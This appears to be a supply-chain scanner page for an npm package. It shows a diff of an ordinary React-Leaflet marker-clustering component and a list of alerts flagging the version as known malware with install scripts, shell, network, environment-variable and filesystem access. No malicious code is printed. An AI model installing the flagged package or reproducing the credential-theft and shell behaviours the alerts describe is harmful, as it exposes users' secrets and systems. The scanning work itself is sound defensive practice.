| function getExtendedBounds(map: Map, bounds: Bounds, gridSize: number): Bounds { | ||
| // Turn the bounds into latlng. | ||
| const northEastLat = bounds && bounds.getNorthEast() && bounds.getNorthEast().lat; | ||
| const northEastLng = bounds && bounds.getNorthEast() && bounds.getNorthEast().lng; | ||
| const southWestLat = bounds && bounds.getSouthWest() && bounds.getSouthWest().lat; | ||
| const southWestLng = bounds && bounds.getSouthWest() && bounds.getSouthWest().lng; | ||
| const tr = L.latLng(northEastLat, northEastLng); | ||
| const bl = L.latLng(southWestLat, southWestLng); | ||
| // Convert the points to pixels and the extend out by the grid size. | ||
| const trPix = map.latLngToLayerPoint(tr); | ||
| trPix.x += gridSize; | ||
| trPix.y -= gridSize; | ||
| const blPix = map.latLngToLayerPoint(bl); | ||
| blPix.x -= gridSize; | ||
| blPix.y += gridSize; | ||
| // Convert the pixel points back to LatLng | ||
| const ne = map.layerPointToLatLng(trPix); | ||
| const sw = map.layerPointToLatLng(blPix); | ||
| // Extend the bounds to contain the new bounds. | ||
| bounds.extend(ne); | ||
| bounds.extend(sw); | ||
| return bounds; | ||
| } | ||
| function distanceBetweenPoints(p1: LngLat, p2: LngLat): number { | ||
| if (!p1 || !p2) { | ||
| return 0; | ||
| } | ||
| const R = 6371; // Radius of the Earth in km | ||
| const degreesToRadians = degree => (degree * Math.PI / 180); | ||
| const sinDouble = degree => Math.pow(Math.sin(degree / 2), 2); | ||
| const cosSquared = (point1, point2) => { | ||
| return Math.cos(degreesToRadians(point1.lat)) * Math.cos(degreesToRadians(point2.lat)); | ||
| }; | ||
| const dLat = degreesToRadians(p2.lat - p1.lat); | ||
| const dLon = degreesToRadians(p2.lng - p1.lng); | ||
| const a = sinDouble(dLat) + cosSquared(p1, p2) * sinDouble(dLon); | ||
| const c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a)); | ||
| const d = R * c; | ||
| return d; | ||
| } | ||
| export default class ClusterLayer extends MapLayer { | ||
| static propTypes = { | ||
| markers: React.PropTypes.array, | ||
| clusterComponent: React.PropTypes.func.isRequired, | ||
| propsForClusters: React.PropTypes.object, | ||
| gridSize: React.PropTypes.number, | ||
| minClusterSize: React.PropTypes.number | ||
| }; | ||
| state: Object = { | ||
| clusters: [] | ||
| }; | ||
| componentDidMount(): void { | ||
| this.leafletElement = ReactDOM.findDOMNode(this.refs.container); | ||
| this.props.map.getPanes().overlayPane.appendChild(this.leafletElement); | ||
| this.setClustersWith(this.props.markers); | ||
| this.attachEvents(); | ||
| } | ||
| componentWillReceiveProps(nextProps: Object): void { | ||
| if (!this.props || nextProps.markers !== this.props.markers) { | ||
| this.setClustersWith(nextProps.markers); | ||
| } | ||
| } | ||
| componentWillUnmount(): void { | ||
| this.props.map.getPanes().overlayPane.removeChild(this.leafletElement); | ||
| } | ||
| componentDidUpdate(): void { | ||
| this.props.map.invalidateSize(); | ||
| this.updatePosition(); | ||
| } | ||
| shouldComponentUpdate(): boolean { | ||
| return true; | ||
| } | ||
| setClustersWith(markers: Array<Marker>): void { | ||
| this.setState({ | ||
| clusters: this.createClustersFor(markers) | ||
| }); | ||
| } | ||
| recalculate(): void { | ||
| this.setClustersWith(this.props.markers); | ||
| this.updatePosition(); | ||
| } | ||
| attachEvents(): void { | ||
| const map: Map = this.props.map; | ||
| map.on('viewreset', () => this.recalculate()); | ||
| map.on('moveend', () => this.recalculate()); | ||
| } | ||
| updatePosition(): void { | ||
| this.state.clusters.forEach((cluster: Cluster, i) => { | ||
| const clusterElement = ReactDOM.findDOMNode( | ||
| this.refs[this.getClusterRefName(i)] | ||
| ); | ||
| L.DomUtil.setPosition( | ||
| clusterElement, | ||
| this.props.map.latLngToLayerPoint(cluster.center) | ||
| ); | ||
| }); | ||
| } | ||
| render(): React.Element { | ||
| return ( | ||
| <div ref="container" | ||
| className={`leaflet-objects-pane | ||
| leaflet-marker-pane | ||
| leaflet-zoom-hide | ||
| react-leaflet-cluster-layer`} | ||
| > | ||
| {this.renderClusters()} | ||
| </div> | ||
| ); | ||
| } | ||
| renderClusters(): Array<React.Element> { | ||
| const style = { position: 'absolute' }; | ||
| const ClusterComponent = this.props.clusterComponent; | ||
| return this.state.clusters | ||
| .map((cluster: Cluster, index: number) => ( | ||
| <ClusterComponent | ||
| {...this.props.propsForClusters} | ||
| key={index} | ||
| style={style} | ||
| map={this.props.map} | ||
| ref={this.getClusterRefName(index)} | ||
| cluster={cluster} | ||
| /> | ||
| )); | ||
| } | ||
| getGridSize(): number { | ||
| return this.props.gridSize || 60; | ||
| } | ||
| getMinClusterSize(): number { | ||
| return this.props.minClusterSize || 2; | ||
| } | ||
| isMarkerInBounds(marker: Marker, bounds: Bounds): boolean { | ||
| return bounds.contains(marker.position); | ||
| } | ||
| calculateClusterBounds(cluster: Cluster) { | ||
| const bounds = L.latLngBounds(cluster.center, cluster.center); | ||
| cluster.bounds = getExtendedBounds(this.props.map, bounds, this.getGridSize()); | ||
| } | ||
| isMarkerInClusterBounds(cluster: Cluster, marker: Marker): boolean { | ||
| return cluster.bounds.contains(L.latLng(marker.position)); | ||
| } | ||
| addMarkerToCluster(cluster: Cluster, marker: Marker) { | ||
| const center = cluster.center; | ||
| const markersLen = cluster.markers.length; | ||
| if (!center) { | ||
| cluster.center = L.latLng(marker.position); | ||
| this.calculateClusterBounds(cluster); | ||
| } else { | ||
| const len = markersLen + 1; | ||
| const lng = (center.lng * (len - 1) + marker.position.lng) / len; | ||
| const lat = (center.lat * (len - 1) + marker.position.lat) / len; | ||
| cluster.center = L.latLng({ lng, lat }); | ||
| this.calculateClusterBounds(cluster); | ||
| } | ||
| marker.isAdded = true; | ||
| cluster.markers.push(marker); | ||
| } | ||
| createClustersFor(markers: Array<Marker>): Array<Cluster> { | ||
| const map: Map = this.props.map; | ||
| const extendedBounds = getExtendedBounds(map, map.getBounds(), this.getGridSize()); | ||
| return markers | ||
| .filter(marker => extendedBounds.contains(L.latLng(marker.position))) | ||
| .reduce((clusters: Array<Cluster>, marker: Marker) => { | ||
| let distance = 40000; // Some large number | ||
| let clusterToAddTo = null; | ||
| const pos = marker.position; | ||
| clusters.forEach((cluster) => { | ||
| const center = cluster.center; | ||
| if (center) { | ||
| const d = distanceBetweenPoints(center, pos); | ||
| if (d < distance) { | ||
| distance = d; | ||
| clusterToAddTo = cluster; | ||
| } | ||
| } | ||
| }); | ||
| if (clusterToAddTo && this.isMarkerInClusterBounds(clusterToAddTo, marker)) { | ||
| this.addMarkerToCluster(clusterToAddTo, marker); | ||
| } else { | ||
| const cluster = { | ||
| markers: [marker], | ||
| center: L.latLng(pos), | ||
| bounds: L.latLngBounds() | ||
| }; | ||
| this.calculateClusterBounds(cluster); | ||
| clusters.push(cluster); | ||
| } | ||
| return clusters; | ||
| }, []); | ||
| } | ||
| getClusterRefName(index: number): string { | ||
| return `cluster${index}`; | ||
| } | ||
| } |
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
Found 3 instances in 1 package
Install scripts
Supply chain riskInstall scripts are run when the package is installed or built. Malicious packages often use scripts that run automatically to execute payloads or fetch additional code.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Unpublished package
Supply chain riskPackage version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
Found 1 instance in 1 package
No contributors or author data
MaintenancePackage does not specify a list of contributors or an author in package.json.
Found 1 instance in 1 package
No repository
Supply chain riskPackage does not have a linked source code repository. Without this field, a package will have no reference to the location of the source code use to generate the package.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
New author
Supply chain riskA new npm collaborator published a version of the package for the first time. New collaborators are usually benign additions to a project, but do indicate a change to the security surface area of a package.
Found 1 instance in 1 package
Unpopular package
QualityThis package is not very popular.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
0
-100%0
-100%0
-100%11327
-81.07%4
-85.19%170
-75.11%2
100%3
Infinity%1
Infinity%11
450%4
300%